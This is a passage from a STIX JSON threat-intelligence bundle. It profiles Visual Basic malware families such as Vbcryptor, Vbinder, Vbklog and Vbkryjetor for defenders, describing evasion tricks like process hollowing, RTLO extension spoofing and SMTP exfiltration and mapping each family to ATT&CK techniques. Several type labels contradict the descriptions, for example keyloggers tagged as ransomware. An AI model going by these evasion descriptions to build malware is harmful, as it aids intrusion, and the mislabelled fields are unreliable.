Cerber) is hidden inside, encrypted.<br><br><b>Execution and Unpacking Mechanics</b><br>Vbcryptor variants are distributed via phishing (`T1566.001`), drive-by downloads, or RDP brute-forcing. Upon execution (`T1204.002`), the VB executable loads into memory. It then executes a decryption routine to unpack its hidden payload directly into a hollowed-out process (Process Hollowing - `T1055.012`) like `svchost.exe` or `vbc.exe`. By running the payload exclusively in memory, the malware avoids dropping the true ransomware binary to the disk, bypassing many legacy, signature-based AV scanners. Once the hidden ransomware executes, it begins iterating through local and network drives (`T1083`), encrypting user files (`T1486`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is catastrophic data loss or severe operational downtime. Host-based IoCs include anomalous child processes spawning from generic Windows executables, mass file modifications (`T1486`), and the dropping of ransom notes (e.g., `DECRYPT_FILES.txt`). Network IoCs may include the payload attempting to communicate with Tor gateways or known C2 infrastructure. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vbcryptor",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vbcryptor"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6ccd9071-a9e8-5035-bcd5-c401527443aa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--107eeb27-ae1d-5f0f-904c-cce21dddd832",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbcryptor exhibits technique T1486 (Data Encrypted for Impact (Ransomware payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2ff426c3-5886-5131-9330-7cc677406f5c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--107eeb27-ae1d-5f0f-904c-cce21dddd832",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbcryptor exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing (VB Crypters))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--546f9db3-911e-59c9-b8a4-50cb966d0832",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--107eeb27-ae1d-5f0f-904c-cce21dddd832",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbcryptor exhibits technique T1055.012 (Process Injection: Process Hollowing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--05d73be9-7fad-5efa-b144-573a7513084e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--107eeb27-ae1d-5f0f-904c-cce21dddd832",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbcryptor exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c077c65c-9081-5feb-b105-47163cfa9406",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vbdrop",
      "description": "<h3>Executive Summary</h3>\nVBDrop is a generic classification for a vast array of Trojan droppers developed using Visual Basic (VB) or Visual Basic Script (VBS). These malicious utilities are designed to act as the initial delivery mechanism in a multi-stage attack. Their primary objective is to silently drop (extract) and execute a hidden, often much more sophisticated secondary payload onto the victim's system, while attempting to evade initial antivirus detection.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nVBDrop malware is heavily reliant on social engineering for distribution. It is most frequently encountered as malicious attachments in massive phishing campaigns, disguised as invoices, shipping documents, or urgent legal notices. \n\nUpon execution by the unsuspecting user, the dropper initiates its routine:\n<ul>\n<li><strong>Payload Extraction:</strong> The VB/VBS script contains an encoded or encrypted secondary executable embedded within its own code. Upon execution, the script decodes this payload and writes it to a hidden or temporary directory on the hard drive (e.g., `%TEMP%` or `%APPDATA%`).</li>\n<li><strong>Obfuscation and Evasion:</strong> Because VB scripts are easily readable, attackers heavily obfuscate the code (using excessive variables, string encoding, and junk code) to confuse signature-based antivirus engines and frustrate manual analysis.</li>\n<li><strong>Execution and Deletion:</strong> Once the secondary payload (which could be an info-stealer, a RAT, or ransomware) is written to disk, the VBDrop script executes it. Advanced variants will then delete the original script file to remove evidence of the initial infection vector.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA VBDrop detection is a critical warning sign. The dropper itself is usually not the primary threat; the severe danger lies in the unknown payload it successfully delivered. Because VBDrop scripts are cheap and easy to produce, they are utilized by everyone from script kiddies to advanced cybercriminal syndicates.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> The critical step in incident response is utilizing EDR telemetry to determine what the VBDrop script executed. Security analysts must identify the child process spawned by `wscript.exe` or `cscript.exe` (the Windows Script Hosts) to locate the actual payload.</li>\n<li><strong>Endpoint Isolation:</strong> Isolate the machine immediately to prevent the secondary payload from communicating with its C2 server or moving laterally.</li>\n<li><strong>Comprehensive Remediation:</strong> Eradication must focus on finding and removing the dropped payload, not just the initial script. If the payload cannot be definitively identified and removed, a full re-image of the machine is necessary.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Dropper.VBS",
        "VBS/Dropper",
        "Win32/VBDrop",
        "Trojan.VBDrop"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vbdrop",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vbdrop"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a25d03e5-1d18-5bee-b608-0e6697926fb8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c077c65c-9081-5feb-b105-47163cfa9406",
      "target_ref": "attack-pattern--4a2de5a3-e5b3-59c0-9f8f-c714683837e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbdrop exhibits technique T1059.005 (Command and Scripting Interpreter: Visual Basic (VBScript within the ASP file))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3238ea59-f6ba-5805-94c3-c2987ae727f0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c077c65c-9081-5feb-b105-47163cfa9406",
      "target_ref": "attack-pattern--ed3e1a5f-06b6-507d-9fd6-af71cc9084a3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbdrop exhibits technique T1140 (Deobfuscate/Decode Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bfa744b8-0618-590c-b665-eb5caa526705",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c077c65c-9081-5feb-b105-47163cfa9406",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbdrop exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--808dcd41-cca2-5b11-924d-6b55ad67c525",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vbinder",
      "description": "Trojan:Win32/Vbinder (often classified generically as a 'Binder', 'Joiner', or 'Wrapper') is not a specific malware payload itself, but rather a malicious utility used by threat actors to combine (bind) multiple files into a single, stealthy executable. Vbinder is specifically designed to take a malicious payload (like a RAT or keylogger) and bind it to a benign 'decoy' file (like a PDF, a Word document, or a legitimate installer), ensuring both execute simultaneously when the victim opens the file.<br><br><b>Understanding Binders and Wrappers</b><br>To an end-user, executing a Vbinder file usually behaves exactly as expected: they click what looks like a PDF invoice, and Adobe Reader opens the invoice. Behind the scenes, however, the binder has also silently executed a trojan. For a SOC analyst, binders are a fundamental technique for social engineering, designed to lull the victim into a false sense of security while the actual compromise occurs in the background.<br><br><b>Execution and Deception Mechanics</b><br>Vbinder tools are heavily utilized in spear-phishing campaigns (`T1566.001`). The attacker uses the Vbinder utility to merge `invoice.pdf` and `malware.exe`. The binder often allows the attacker to change the icon of the resulting executable to match a PDF icon, and uses the 'Right-to-Left Override' (RTLO) Unicode character to spoof the file extension, making `invoice_pdf.exe` look like `invoice_exe.pdf` (`T1036.002`). When the victim executes the bound file (`T1204.002`), the Vbinder stub executes first. It extracts the benign PDF to the `%Temp%` directory and opens it with the default viewer, immediately satisfying the user's expectation. Simultaneously, it extracts the malicious payload to a hidden directory and executes it silently in the background (`T1027.002`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the hidden payload deployed by the binder. Host-based IoCs include EDR alerts for a single executable dropping and executing multiple, unrelated files (especially dropping a document and a secondary executable simultaneously). Analysts should look for executables possessing document icons (e.g., an `.exe` file with a Microsoft Word icon) or utilizing RTLO characters in the filename. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vbinder",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vbinder"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--50961527-111c-58b9-a55c-caead4f74375",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--808dcd41-cca2-5b11-924d-6b55ad67c525",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbinder exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing (Binding multiple files))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--824a5615-c624-59eb-8f63-ff324075f60e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--808dcd41-cca2-5b11-924d-6b55ad67c525",
      "target_ref": "attack-pattern--59c4c1b0-f2e6-51e0-98a9-1fdd9126a5d7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbinder exhibits technique T1036.002 (Masquerading: Right-to-Left Override (Spoofing extensions))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ad2a368e-a32f-5d78-9af8-307829dca568",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--808dcd41-cca2-5b11-924d-6b55ad67c525",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbinder exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--09080ae4-0ac1-52ba-bb3e-ddecc4a64c88",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--808dcd41-cca2-5b11-924d-6b55ad67c525",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbinder exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--958e4ca5-62eb-59c5-a4d0-6f50fecf2bcb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vbkeylog",
      "description": "<h3>Executive Summary</h3>\nVBKeylog is a broad classification for a family of keyloggers developed using Microsoft's Visual Basic (VB) programming language. These tools are designed for covert surveillance, capturing user keystrokes to steal sensitive information such as login credentials, personal communications, and financial data.\n\n<h3>Technical Characteristics and Behavior</h3>\nDespite the underlying technology (Visual Basic) being relatively dated, VBKeylog variants remain prevalent due to their ease of development and modification by script kiddies and lower-tier threat actors. They are frequently distributed via peer-to-peer (P2P) networks, malicious software cracks, and disguised email attachments.\n\nOnce executed, a VBKeylog variant utilizes the Windows API (specifically `SetWindowsHookEx`) to intercept hardware interrupts generated by the keyboard. This allows the malware to record every keystroke before it reaches the intended application. The recorded data is typically stored in a hidden, encrypted local log file. To exfiltrate the stolen data, the keylogger frequently utilizes hardcoded SMTP credentials to email the log files back to the attacker, or it may upload the files via FTP to a compromised server. VBKeylog variants often lack sophisticated evasion techniques but achieve persistence by adding themselves to the Windows Registry Run keys or the Startup folder.\n\n<h3>Risk Assessment</h3>\nThe primary risk of a VBKeylog infection is the complete compromise of user authentication credentials. Because the keystrokes are captured locally, this threat bypasses network-based encryption (like HTTPS), exposing passwords to everything from corporate VPNs to personal banking portals.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Protection Platforms (EPP):</strong> Ensure EPP solutions are configured with heuristic analysis, as many VBKeylog variants are custom-compiled and may evade static signature detection.</li>\n<li><strong>Multi-Factor Authentication (MFA):</strong> Mandate MFA for all critical systems and services. While a keylogger captures the password, it cannot replicate the secondary hardware or time-based token required by MFA.</li>\n<li><strong>System Remediation:</strong> Boot the infected machine into Safe Mode, remove unauthorized entries from `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run`, and delete the offending executable.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Keylogger.VB",
        "TrojanSpy.VBKeylog",
        "VB.Keylogger"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vbkeylog",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vbkeylog"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--79f28607-c333-5da8-99e9-60f4a6a54d17",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--958e4ca5-62eb-59c5-a4d0-6f50fecf2bcb",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbkeylog exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ec90f827-d9f6-5294-9ee7-ba8de6bb07b5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--958e4ca5-62eb-59c5-a4d0-6f50fecf2bcb",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbkeylog exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b20d18eb-63d5-585d-96e7-88abc7a28c89",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--958e4ca5-62eb-59c5-a4d0-6f50fecf2bcb",
      "target_ref": "attack-pattern--f035fb3a-e092-592e-a82f-3201715b5dc2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbkeylog exhibits technique T1048.003 (Exfiltration Over Alternative Protocol (Exfiltration via SMTP/Email))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c6232e47-879d-583c-9cdc-bc855e98e414",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vbklog",
      "description": "Spyware:Win32/Vbklog is a covert surveillance tool, specifically a Keylogger written in Visual Basic, designed to silently monitor user activity, harvest sensitive data, and exfiltrate it to a remote attacker. Unlike a loud ransomware infection, Vbklog's primary goal is absolute discretion, operating in the background to steal credentials, track browsing habits, and capture keystrokes over an extended period.<br><br><b>Understanding Vbklog</b><br>To an end-user, a Vbklog infection is entirely invisible. There are no ransom notes or slowed system performance. For an enterprise security team, Vbklog represents a critical breach of confidentiality. Because it is often written in Visual Basic (VB), it is easily modified and highly prevalent among script kiddies and low-tier threat actors seeking to steal gaming credentials or personal banking information.<br><br><b>Execution and Data Collection Mechanics</b><br>Vbklog is typically delivered via targeted phishing campaigns containing malicious attachments (`T1566.001`) or disguised as legitimate software (like a game cheat) (`T1204.002`). Upon execution, it establishes stealthy persistence by modifying the Registry Run keys (`T1547.001`). Once active, Vbklog employs standard VB APIs (like `GetAsyncKeyState`) to capture every keystroke typed (`T1056.001`). It may also read the system clipboard (`T1115`) to capture copied passwords. The harvested data is typically written to a hidden text file on the local disk. Periodically, the malware reads this file and exfiltrates the contents to the attacker, often via hardcoded SMTP (email) credentials or a simple FTP upload (`T1048.003`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is severe data loss and privacy violation. Host-based IoCs include EDR alerts for VB-compiled executables exhibiting suspicious keylogging behavior, or the creation of obfuscated text/log files in the `%Temp%` or `%AppData%` directory. Network IoCs involve regular beaconing to unknown SMTP servers (port 25, 465, 587) or FTP servers to deliver the logs, particularly when the user is actively typing. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vbklog",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vbklog"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ecbcda47-d661-5a50-b0f8-9d4f5f6f110b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c6232e47-879d-583c-9cdc-bc855e98e414",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbklog exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3ceaf45a-8262-5f5d-97c2-2ef50238d9ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c6232e47-879d-583c-9cdc-bc855e98e414",
      "target_ref": "attack-pattern--d7bd29aa-86c7-5903-8cae-4f2aef4d2e59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbklog exhibits technique T1115 (Clipboard Data)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--44e19c16-b26e-5b7f-8753-caf4143b4b0a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c6232e47-879d-583c-9cdc-bc855e98e414",
      "target_ref": "attack-pattern--f035fb3a-e092-592e-a82f-3201715b5dc2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbklog exhibits technique T1048.003 (Exfiltration Over Alternative Protocol (Exfiltration via SMTP/FTP))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fde50e97-0da7-55a3-8bb1-c7a2a5549577",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c6232e47-879d-583c-9cdc-bc855e98e414",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbklog exhibits technique T1547.001 (Boot or Logon Autostart Execution)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bca96359-a1db-5bc1-abb7-9bfc0c020855",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vbkryjetor",
      "description": "Vbkryjetor (identified across commercial security telemetry as Packer:Win32/Vbkryjetor, Trojan:Win32/Vbkryjetor, and Crypter.Vbkryjetor) is a specialized Visual Basic-based software obfuscator, crypter, and runtime packer extensively abused by cybercriminal threat actors. Its primary function is to shield commodity malware families\u2014including remote access trojans (RATs like njRAT and DarkComet), infostealers, and keyloggers\u2014from static antivirus detection and automated sandbox analysis. Vbkryjetor wraps malicious payloads inside multi-layered encrypted resources and decoy Visual Basic 6 code blocks. During initial execution, Vbkryjetor evaluates system parameters to detect virtual machines, debugging environments, and sandbox hooks. If defensive instrumentation is absent, the packer dynamically allocates executable memory, decrypts the embedded payload using custom XOR or RC4 algorithms, and injects it into legitimate Windows processes (such as svchost.exe or explorer.exe) via process hollowing. (Observed samples in benchmark: 551)",
      "is_family": true,
      "malware_types": [
        "resource-exploitation"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Packer:Win32/Vbkryjetor",
        "Trojan:Win32/Vbkryjetor",
        "Crypter.Vbkryjetor",
        "Win32/Vbkryjetor.Packer",
        "Trojan.VB.Kryjetor"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vbkryjetor",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vbkryjetor"
        }
      ],
      "labels": [
        "packer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--11de39cb-8003-5fa8-bf12-ff5ba00a3903",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bca96359-a1db-5bc1-abb7-9bfc0c020855",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbkryjetor exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--44e68865-48fc-5b80-a163-29106709e607",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bca96359-a1db-5bc1-abb7-9bfc0c020855",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbkryjetor exhibits technique T1055.012 (Process Injection: Process Hollowing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--28c42ef5-5c39-5d0d-851b-b67c8a121737",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bca96359-a1db-5bc1-abb7-9bfc0c020855",
      "target_ref": "attack-pattern--aa0c4501-5d70-5f02-83ed-46c2180b3277",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbkryjetor exhibits technique T1497.001 (Virtualization/Sandbox Evasion: System Checks)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--30393147-4bc8-55e6-a09c-f52d6eca4794",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bca96359-a1db-5bc1-abb7-9bfc0c020855",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbkryjetor exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d92f7bc1-58ce-59fb-a3f7-c75567bc481e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bca96359-a1db-5bc1-abb7-9bfc0c020855",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vbkryjetor exhibits technique T1106 (Native API)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--31e0c40f-6015-55fd-ba16-37b1123bcca6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vbmod",
      "description": "<h3>Executive Summary</h3>\nVBMod is a generic detection identifier utilized by security vendors to classify a wide variety of trojans, worms, and malicious downloaders written in Visual Basic (specifically Visual Basic 6.0) or utilizing Visual Basic scripts (VBScript). While older, Visual Basic malware remains a persistent threat due to its ease of obfuscation and the native execution capabilities within Windows environments.\n\n<h3>Technical Characteristics and Execution</h3>\nMalware flagged under the VBMod umbrella is often rudimentary but effective. It is heavily reliant on social engineering for initial execution, typically arriving as email attachments disguised as invoices, shipping receipts, or legal documents.\n\nCommon behaviors associated with VBMod variants include:\n<ul>\n<li><strong>Native Execution (WScript/CScript):</strong> VBMod scripts (VBS) utilize the native Windows Script Host, meaning they require no additional software to execute, making them highly effective initial access droppers.</li>\n<li><strong>Code Obfuscation:</strong> Visual Basic code is notoriously easy to obfuscate. Attackers frequently use complex string manipulation, character encoding, and dynamic execution (`Eval`) to hide the true malicious intent from static antivirus scanners.</li>\n<li><strong>Downloader Functionality:</strong> The primary goal of most VBMod variants is to utilize native Windows objects (like `MSXML2.XMLHTTP`) to silently download and execute a secondary, compiled payload (such as ransomware or a banking trojan) from a remote command-and-control server.</li>\n</ul>\n\n<h3>Threat Impact</h3>\nDespite the underlying technology being dated, a VBMod detection is a critical alert. The VBScript acts as the vanguard of the attack; its successful execution almost guarantees that a more sophisticated, destructive payload is attempting to compromise the system.\n\n<h3>Defense and Mitigation Strategies</h3>\n<ul>\n<li><strong>Disable Windows Script Host:</strong> For environments that do not rely on legacy VBScript for administrative tasks, disabling the Windows Script Host entirely via Group Policy is one of the most effective ways to neutralize VBMod attacks.</li>\n<li><strong>Email Security (Attachment Stripping):</strong> Configure email gateways to aggressively filter, quarantine, or strip `.vbs`, `.vbe`, and `.js` attachments before they reach the end-user inbox.</li>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Utilize EDR to monitor for instances of `wscript.exe` or `cscript.exe` initiating outbound network connections or spawning unexpected child processes like `powershell.exe`.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.VBMod",
        "Worm.VBMod",
        "VBS.Dropper.Generic"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vbmod",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vbmod"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--98aa4045-dd07-54ed-b5a3-ba3e5635a935",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--31e0c40f-6015-55fd-ba16-37b1123bcca6",
      "target_ref": "attack-pattern--4a2de5a3-e5b3-59c0-9f8f-c714683837e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
